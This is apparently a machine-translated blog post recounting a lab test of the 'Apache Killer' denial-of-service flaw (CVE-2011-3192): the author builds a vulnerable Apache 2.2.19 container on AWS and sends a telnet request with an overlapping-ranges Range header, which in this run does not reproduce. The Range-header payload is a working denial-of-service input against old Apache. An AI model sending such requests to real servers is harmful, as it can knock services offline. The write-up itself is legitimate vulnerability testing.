我在AWS上尝试使用Apache Killer

简而言之

有人需要一个用于测试Apache Killer的Apache 2.2.19环境,并在AWS上创建了Docker容器。Apache Killer是指利用2011年公开的Apache HTTP Server中存在的漏洞(CVE-2011-3192)进行DDoS攻击的工具的总称。原来它不是漏洞本身,而是工具的总称。

任务内容

预先准备

我们事先已经执行了以下操作:
– 创建了AWS帐户
– 在工作机器(kali)上安装了docker-machine

另外,我们根据URL(※1)进行了预先准备,创建了Docker镜像并将其推送到DockerHub。

创建Docker容器

我是根据网址(※2)创建了一个用于AWS的Docker容器。
首先,在工作机上我在AWS上创建了一个名为aws-sandbox的EC2实例。

// アクセスキーの登録
$ mkdir ~/.aws
$ vi ~/.aws/credentials

[default]
aws_access_key_id = XXXXXXXXX
aws_secret_access_key = XXXXXXXX

// インスタンスの作成
$ docker-machine create --driver amazonec2 --amazonec2-open-port 8888 --amazonec2-region ap-northeast-1 aws-sandbox
create_aws_sandbox_instanse_002.png

在作业机上执行命令,在实例上获取Docker镜像。

// 環境変数を設定
$ eval $(docker-machine env aws-sandbox)

// インスタンスを確認
$ docker-machine ls
NAME          ACTIVE   DRIVER      STATE     URL                       SWARM   DOCKER     ERRORS
aws-sandbox   *        amazonec2   Running   tcp://54.95.XX.XXXX:2376           v19.03.8   

// インスタンス上でDockerイメージを取得しコンテナを生成。
$ docker $(docker-machine config aws-sandbox) run -d -p 8888:80 --name apachekiller stcmjp/cve-2011-3192:1.0

连接到实例后,可以确认Docker容器已生成。容器在生成后立即停止。

// AWS上のインスタンスに接続
$ docker-machine ssh aws-sandbox

// コンテナの状態を確認
$ sudo su -
# docker images
REPOSITORY             TAG                 IMAGE ID            CREATED             SIZE
stcmjp/cve-2011-3192   1.0                 db5ddb6a43bb        14 hours ago        1.44GB
# docker ps -a
CONTAINER ID        IMAGE                      COMMAND             CREATED             STATUS                     PORTS               NAMES
9ca518ad305c        stcmjp/cve-2011-3192:1.0   "/bin/bash"         8 minutes ago       Exited (0) 8 minutes ago                       apachekiller

继续在实例上启动容器。

// コンテナを起動し接続
# docker run -i -t -p 8888:80 -t stcmjp/cve-2011-3192:1.0 /bin/bash

// Apacheの起動
[root@b3230326486e /]# /etc/init.d/httpd start

您可以通过操作计算机上的浏览器,连接到 http://54.95.XXX.XXX:8888/index.php。

phpinfo_002.png

漏洞验证

在准备就绪的情况下,我将从工作机器上参考URL(*3)并尝试进行PoC。

    リクエスト
# telnet 54.95.XXX.XXX 8888
Trying 54.95.XXX.XXX...
Connected to 54.95.XXX.XXX.
Escape character is '^]'.
GET /index.php HTTP/1.1
Host: 54.95.XXX.XXX:8888
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30
    レスポンス
HTTP/1.1 200 OK
Date: Sat, 11 Apr 2020 06:07:42 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/1.0.1e-fips DAV/2 PHP/5.3.5
X-Powered-By: PHP/5.3.5
Transfer-Encoding: chunked
Content-Type: text/html

哎呀?没能再现。orz
如果存在漏洞,响应代码应该是 HTTP/1.1 206 Partial Content,但是时间不够,所以这次就到这里了。
如果有时间的话,会进行更详细的调查。

请查看链接

    1. Docker的使用方法备忘录

 

    1. Docker文档

 

    原型验证
广告
将在 10 秒后关闭
bannerAds